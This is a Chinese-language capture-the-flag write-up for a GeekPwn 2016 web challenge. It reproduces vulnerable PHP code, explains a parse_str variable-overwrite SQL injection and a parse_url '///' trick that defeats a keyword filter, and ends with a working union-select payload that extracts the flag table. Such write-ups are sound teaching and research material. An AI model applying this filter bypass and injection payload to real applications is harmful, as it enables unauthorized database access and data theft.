GeekPwn 2016 跨次元 CTF Web

- Title: GeekPwn 2016 跨次元 CTF Web
- Link: http://sh3ll.me/archives/201611031132.txt
- Published: 2016-11-03 11:32
- Updated: 2017-01-17 02:21

代码审计题目，代码如下：

<?php
error_reporting(0);
if (isset($_GET['view-source'])) {
        show_source(__FILE__);
        exit();
}
include("./inc.php"); // Database Connected
function nojam_firewall(){
    $INFO = parse_url($_SERVER['REQUEST_URI']);
    parse_str($INFO['query'], $query);
    $filter = ["union", "select", "information_schema", "from"];
    foreach($query as $q){
        foreach($filter as $f){
            if (preg_match("/".$f."/i", $q)){
                nojam_log($INFO);
                die("attack detected!");
            }
        }
    }
}
nojam_firewall();
function getOperator(&$operator) {
    switch($operator) {
        case 'and':
        case '&&':
            $operator = 'and';
            break;
        case 'or':
        case '||':
            $operator = 'or';
            break;
        default:
            $operator = 'or';
            break;
}}
if(preg_match('/session/isUD',$_SERVER['QUERY_STRING'])) {
    exit('not allowed');
}
parse_str($_SERVER['QUERY_STRING']);
getOperator($operator);
$keyword = addslashes($keyword);
$where_clause = '';
if(!isset($search_cols)) {
    $search_cols = 'subject|content';
}
$cols = explode('|',$search_cols);
foreach($cols as $col) {
    $col = preg_match('/^(subject|content|writer)$/isDU',$col) ? $col : '';
    if($col) {
        $query_parts = $col . " like '%" . $keyword . "%'";
    }
    if($query_parts) {
        $where_clause .= $query_parts;
        $where_clause .= ' ';
        $where_clause .= $operator;
        $where_clause .= ' ';
        $query_parts = '';
    }
}
if(!$where_clause) {
    $where_clause = "content like '%{$keyword}%'";
}
if(preg_match('/\s'.$operator.'\s$/isDU',$where_clause)) {
    $len = strlen($where_clause) - (strlen($operator) + 2);
    $where_clause = substr($where_clause, 0, $len);
}
?>
<style>
    td:first-child, td:last-child {text-align:center;}
    td {padding:3px; border:1px solid #ddd;}
    thead td {font-weight:bold; text-align:center;}
    tbody tr {cursor:pointer;}
</style>
<br />
<table border=1>
    <thead>
        <tr><td>Num</td><td>subject</td><td>content</td><td>writer</td></tr>
    </thead>
    <tbody>
        <?php
            $result = mysql_query("select * from board where {$where_clause} order by idx desc");
            while ($row = mysql_fetch_assoc($result)) {
                echo "<tr>";
                echo "<td>{$row['idx']}</td>";
                echo "<td>{$row['subject']}</td>";
                echo "<td>{$row['content']}</td>";
                echo "<td>{$row['writer']}</td>";
                echo "</tr>";
            }
        ?>
    </tbody>
    <tfoot>
        <tr><td colspan=4>
            <form method="">
                <select name="search_cols">
                    <option value="subject" selected>subject</option>
                    <option value="content">content</option>
                    <option value="content|content">subject, content</option>
                    <option value="writer">writer</option>
                </select>
                <input type="text" name="keyword" />
                <input type="radio" name="operator" value="or" checked /> or &nbsp;&nbsp;
                <input type="radio" name="operator" value="and" /> and
                <input type="submit" value="SEARCH" />
            </form>
        </td></tr>
    </tfoot>
</table>
<br />
<a href="./?view-source">view-source</a><br />

漏洞很明显，line 47 parse_str 导致变量覆盖，line 59 若 $col 为 false 就不会进入赋值语句，也就是说 $query_parts 因变量覆盖可控，而
在 line 56-59 可以看到 $col 是对输入做正则匹配的返回值，$col 可控，进而导致注入：

/index.php?search_cols=a&keyword=xxxx&operator=and&query_parts={injection} 。

但是在 line 12-24 可以看到有一防注入函数，想要更好出数据肯定要绕过防注入。函数是通过 parse_url、parse_str 解析 url 参数，然后通过正则
限制关键字的方式做的过滤，常规的方法绕过相对困难。

这里用到了 parse_url 函数在解析 url 时存在的 bug，通过：///x.php?key=value 的方式可以使其返回 False。具体可以看下 parse_url 的源码
（https://github.com/php/php-src/blob/9df6112e01eacb6e068e8d23e78181918bdab548/ext/standard/url.c#L97），关键代码如下：

PHPAPI php_url *php_url_parse_ex(char const *str, size_t length)
{
    char port_buf[6];
    php_url *ret = ecalloc(1, sizeof(php_url));
    char const *s, *e, *p, *pp, *ue;
    ...snip...
} else if (*s == '/' && *(s + 1) == '/') { /* relative-scheme URL */
        s += 2;
    } else {
        just_path:
        ue = s + length;
        goto nohost;
    }
    e = s + strcspn(s, "/?#");
    ...snip...
    } else {
        p = e;
    }
    /* check if we have a valid host, if we don't reject the string as url */
    if ((p-s) < 1) {
        if (ret->scheme) efree(ret->scheme);
        if (ret->user) efree(ret->user);
        if (ret->pass) efree(ret->pass);
        efree(ret);
        return NULL;

可以看到，在函数 parse_url 内部，如果 url 是以 // 开始，就认为它是相对 url，而后认为 url 的部件从 url+2 开始。line 281，若 p-s < 1 
也就是如果 url 为 ///x.php，则 p = e = s = s + 2，函数将返回 NULL。

再看 PHP_FUNCTION，line 351：

/* {{{ proto mixed parse_url(string url, [int url_component])
   Parse a URL and return its components */
PHP_FUNCTION(parse_url)
{
    char *str;
    size_t str_len;
    php_url *resource;
    zend_long key = -1;
    if (zend_parse_parameters(ZEND_NUM_ARGS(), "s|l", &str, &str_len, &key) == FAILURE) {
        return;
    }
    resource = php_url_parse_ex(str, str_len);
    if (resource == NULL) {
        /* @todo Find a method to determine why php_url_parse_ex() failed */
        RETURN_FALSE;
    }

若 php_url_parse_ex 结果为 NULL，函数 parse_url 将返回 false，测试如下：

➜ ~ uname -a
Linux kali 4.7.0-kali1-amd64 #1 SMP Debian 4.7.8-1kali1 (2016-10-24) x86_64 GNU/Linux
➜ ~ php -v
PHP 7.0.12-1 (cli) ( NTS )
Copyright (c) 1997-2016 The PHP Group
Zend Engine v3.0.0, Copyright (c) 1998-2016 Zend Technologies
    with Zend OPcache v7.0.12-1, Copyright (c) 1999-2016, by Zend Technologies
➜ ~ php -a
Interactive mode enabled
php > var_dump(parse_url('///x.php?key=value'));
bool(false)

函数 php_url_parse_ex 中还存在很多类似的问题，而 parse_url 中又没有对其解析失败的原因进行分析，导致 parse_url 频繁出现类似的 bug，比
如主办方后来放出的 hint：Bug #55511（https://bugs.php.net/bug.php?id=55511）。

$INFO = parse_url($_SERVER['REQUEST_URI']) = false，后续的过滤也就完全无用了，成功绕过防注入。最终 payload：

///index.php?search_cols=a|b&keyword=xxxx&operator=and&query_parts=123 union select 1,2,3,flag from flag